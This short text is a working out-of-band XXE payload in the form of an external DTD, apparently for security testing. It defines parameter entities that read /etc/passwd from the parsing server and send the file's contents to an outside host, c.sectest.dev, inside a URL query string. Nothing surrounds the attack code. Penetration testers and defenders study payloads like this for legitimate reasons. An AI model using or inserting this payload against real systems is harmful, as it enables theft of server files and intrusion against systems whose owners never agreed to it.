<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://c.sectest.dev/sitemap.xml?d=%file;'>">
%eval;
%exfil;